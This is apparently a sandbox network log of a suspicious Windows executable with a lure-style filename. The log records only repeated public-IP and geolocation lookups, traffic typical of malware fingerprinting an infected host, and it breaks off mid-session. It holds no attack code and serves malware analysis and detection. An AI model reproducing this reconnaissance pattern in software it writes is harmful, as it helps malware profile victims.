Sep 24, 2024 16:31:16.587178946 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 24, 2024 16:31:16.747762918 CEST	322	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:16 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 12c271b926bedb8c0b8a57a529ed04f9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 79.127.132.20</body></html>
Sep 24, 2024 16:31:17.341846943 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 24, 2024 16:31:17.550138950 CEST	322	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:17 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1f77f36c1a927a4fc8252aa510189ab6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 79.127.132.20</body></html>
Sep 24, 2024 16:31:18.159825087 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 24, 2024 16:31:18.897870064 CEST	322	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:18 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cdc426e66e63ca032e5323ac34b86f45 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 79.127.132.20</body></html>
Sep 24, 2024 16:31:19.500041008 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 24, 2024 16:31:19.663778067 CEST	322	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:19 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 85c143d0ebca957c576e1014e3f8a4dd Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 79.127.132.20</body></html>
Sep 24, 2024 16:31:20.252079010 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 24, 2024 16:31:20.421629906 CEST	322	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:20 GMT Content-Type: text/html Content-Length: 105 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 00086df772634ea665967cdadb916e70 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 79.127.132.20</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.30	49811	172.67.177.134	443	3392	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 14:31:12 UTC	86	OUT	GET /xml/79.127.132.20 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-24 14:31:13 UTC	663	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:12 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: MISS Last-Modified: Tue, 24 Sep 2024 14:31:12 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gALl67wkC6rXLDqpNlKpHneknTfeIKG7yWLx9mx6hRi3hDF6tUZrwgDzQxENVajo6V7Q8DdFPtUZuXnwBaTBWj%2FtvDLMoHUQZ%2FreAKYHnIHhcU7KLNpUxhiSsVs8gVXOym3VUGC5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c837a0ff9dd066c-IAD
2024-09-24 14:31:13 UTC	335	IN	Data Raw: 31 34 38 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 43 5a 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 43 7a 65 63 68 69 61 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 45 75 72 6f 70 65 2f 50 72 61 67 75 65 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 35 30 2e 30 38 34 38 3c 2f 4c 61 Data Ascii: 148<Response><IP>79.127.132.20</IP><CountryCode>CZ</CountryCode><CountryName>Czechia</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>Europe/Prague</TimeZone><Latitude>50.0848</La
2024-09-24 14:31:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.30	49812	172.67.177.134	443	3392	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 14:31:13 UTC	62	OUT	GET /xml/79.127.132.20 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-24 14:31:14 UTC	676	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:13 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 1 Last-Modified: Tue, 24 Sep 2024 14:31:12 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JIRLClNbjvdNUfcPCijSA58LKgVWXwI6WZ92AIlUZ0QKL3OVA%2FBaD%2FngPpkkL1udLSNCk7aZx%2BqTBEUCyuzrM%2ByDWkZjKeURGVl2zlGIj3LKEke16%2B0j6E5Lu2zYKqWbS9oXwIfX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c837a1829c5208d-IAD
2024-09-24 14:31:14 UTC	335	IN	Data Raw: 31 34 38 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 43 5a 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 43 7a 65 63 68 69 61 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 45 75 72 6f 70 65 2f 50 72 61 67 75 65 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 35 30 2e 30 38 34 38 3c 2f 4c 61 Data Ascii: 148<Response><IP>79.127.132.20</IP><CountryCode>CZ</CountryCode><CountryName>Czechia</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>Europe/Prague</TimeZone><Latitude>50.0848</La
2024-09-24 14:31:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.30	49813	172.67.177.134	443	3392	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 14:31:14 UTC	62	OUT	GET /xml/79.127.132.20 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-24 14:31:14 UTC	678	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:14 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 2 Last-Modified: Tue, 24 Sep 2024 14:31:12 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JBgkeojFNJBs%2BThZ3ugy2j%2Bb2QfDkEKOtprFN2WzFfdNGkT42aBDcLhKGH4eErQ%2B2MWhuV%2FT8MDd72zla0SRb60x%2B45e6d8BBRcU6XoB6KpDGBmv%2BXtZzUKmQmEHxIlsPXcdHe0m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c837a1cbcf572f2-IAD
2024-09-24 14:31:14 UTC	335	IN	Data Raw: 31 34 38 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 43 5a 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 43 7a 65 63 68 69 61 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 45 75 72 6f 70 65 2f 50 72 61 67 75 65 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 35 30 2e 30 38 34 38 3c 2f 4c 61 Data Ascii: 148<Response><IP>79.127.132.20</IP><CountryCode>CZ</CountryCode><CountryName>Czechia</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>Europe/Prague</TimeZone><Latitude>50.0848</La
2024-09-24 14:31:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.30	49814	172.67.177.134	443	3392	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 14:31:16 UTC	62	OUT	GET /xml/79.127.132.20 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-24 14:31:16 UTC	674	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:16 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 4 Last-Modified: Tue, 24 Sep 2024 14:31:12 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HlwX5zb%2BsIzr6NFTUa%2FqlKZaYJKyfy1zogIpSTSPEkzrcBAsADJGuim8UaGD4NNrJYn3zzefBwdJ2b6HlaPmzmck0DO0JlLNP3nHDPR%2F78xkaxgLhPF4UOJ5oZILDilvo%2Fn2tvv8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c837a27b9936fa1-IAD
2024-09-24 14:31:16 UTC	335	IN	Data Raw: 31 34 38 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 43 5a 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 43 7a 65 63 68 69 61 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 45 75 72 6f 70 65 2f 50 72 61 67 75 65 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 35 30 2e 30 38 34 38 3c 2f 4c 61 Data Ascii: 148<Response><IP>79.127.132.20</IP><CountryCode>CZ</CountryCode><CountryName>Czechia</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>Europe/Prague</TimeZone><Latitude>50.0848</La
2024-09-24 14:31:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.30	49815	172.67.177.134	443	3392	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 14:31:16 UTC	62	OUT	GET /xml/79.127.132.20 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-24 14:31:17 UTC	676	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:17 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 5 Last-Modified: Tue, 24 Sep 2024 14:31:12 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HXTMscgwknVi12lPn4MuIXxwqPLnCI5jDBot9CaAjsZkVH5Faeu22I3QxbONzhj9RS9QFoshvjA3lnjbW0pD%2Bq849Kc1SG11M%2BNaOxnH3wdtgXPywf%2FDOIRFFptphKt%2FXPA4PCb%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c837a2c684581b8-IAD
2024-09-24 14:31:17 UTC	335	IN	Data Raw: 31 34 38 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 43 5a 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 43 7a 65 63 68 69 61 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 45 75 72 6f 70 65 2f 50 72 61 67 75 65 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 35 30 2e 30 38 34 38 3c 2f 4c 61 Data Ascii: 148<Response><IP>79.127.132.20</IP><CountryCode>CZ</CountryCode><CountryName>Czechia</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>Europe/Prague</TimeZone><Latitude>50.0848</La
2024-09-24 14:31:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.30	49816	172.67.177.134	443	3392	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 14:31:17 UTC	62	OUT	GET /xml/79.127.132.20 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-24 14:31:18 UTC	668	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:18 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 6 Last-Modified: Tue, 24 Sep 2024 14:31:12 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mmWpIGrtRHA8M%2B3WiJZtsIk9hfqQgIIISSvVoOc6H92FpVcUmbWcpFZDtY9JoV0qUvHGN6uLtyvRPOSNSSscuqybIxw1MkK1EkOxSfPNjGw5qHxLbKqYJtYvEr24qtjh5D3hjUO4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c837a316fdd05e5-IAD
2024-09-24 14:31:18 UTC	335	IN	Data Raw: 31 34 38 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 43 5a 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 43 7a 65 63 68 69 61 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 45 75 72 6f 70 65 2f 50 72 61 67 75 65 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 35 30 2e 30 38 34 38 3c 2f 4c 61 Data Ascii: 148<Response><IP>79.127.132.20</IP><CountryCode>CZ</CountryCode><CountryName>Czechia</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>Europe/Prague</TimeZone><Latitude>50.0848</La
2024-09-24 14:31:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.30	49817	172.67.177.134	443	3392	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 14:31:19 UTC	62	OUT	GET /xml/79.127.132.20 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-24 14:31:19 UTC	680	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:19 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 7 Last-Modified: Tue, 24 Sep 2024 14:31:12 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bc%2BnZuy%2FBWxOW3bLkrzT6iebi2zy%2FfnX26QsiuMFsLfN75Uysv3G6kr%2Bty%2BgX1DiGlWu24PGiXCjG3rXrbcvsm7xAe9zeGRi8Ezi00qIP0pq2O5uwKb%2BJaURbmZO3s%2BvQey0m1No"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c837a39dbc105e6-IAD
2024-09-24 14:31:19 UTC	335	IN	Data Raw: 31 34 38 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 43 5a 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 43 7a 65 63 68 69 61 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 45 75 72 6f 70 65 2f 50 72 61 67 75 65 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 35 30 2e 30 38 34 38 3c 2f 4c 61 Data Ascii: 148<Response><IP>79.127.132.20</IP><CountryCode>CZ</CountryCode><CountryName>Czechia</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>Europe/Prague</TimeZone><Latitude>50.0848</La
2024-09-24 14:31:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.30	49818	172.67.177.134	443	3392	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 14:31:19 UTC	62	OUT	GET /xml/79.127.132.20 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-24 14:31:20 UTC	672	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 14:31:20 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 8 Last-Modified: Tue, 24 Sep 2024 14:31:12 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6Kj6P1rRnjoIWVhPIf1wxKVP1eCUSrjDc7ZS2XDlX0Md4AIlFQBVdKb10ukd%2Fr82%2BLyJix9HVKxBTl0ca5%2F6Bd73Nbdwhrxqchb9KIeGUs0OT0XMz36b8W862embuXlJaG8geZzp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c837a3e9f8bdda7-IAD
2024-09-24 14:31:20 UTC	335	IN	Data Raw: 31 34 38 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 37 39 2e 31 32 37 2e 31 33 32 2e 32 30 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 43 5a 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 43 7a 65 63 68 69 61 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 45 75 72 6f 70 65 2f 50 72 61 67 75 65 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 35 30 2e 30 38 34 38 3c 2f 4c 61 Data Ascii: 148<Response><IP>79.127.132.20</IP><CountryCode>CZ</CountryCode><CountryName>Czechia</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>Europe/Prague</TimeZone><Latitude>50.0848</La
2024-09-24 14:31:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.30	49819	172.67.177.134	443	3392	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-24 14:31:20 UTC	62	OUT	GET /xml/79.127.132.20 HTTP/1.1 Host: reallyfreegeoip.org
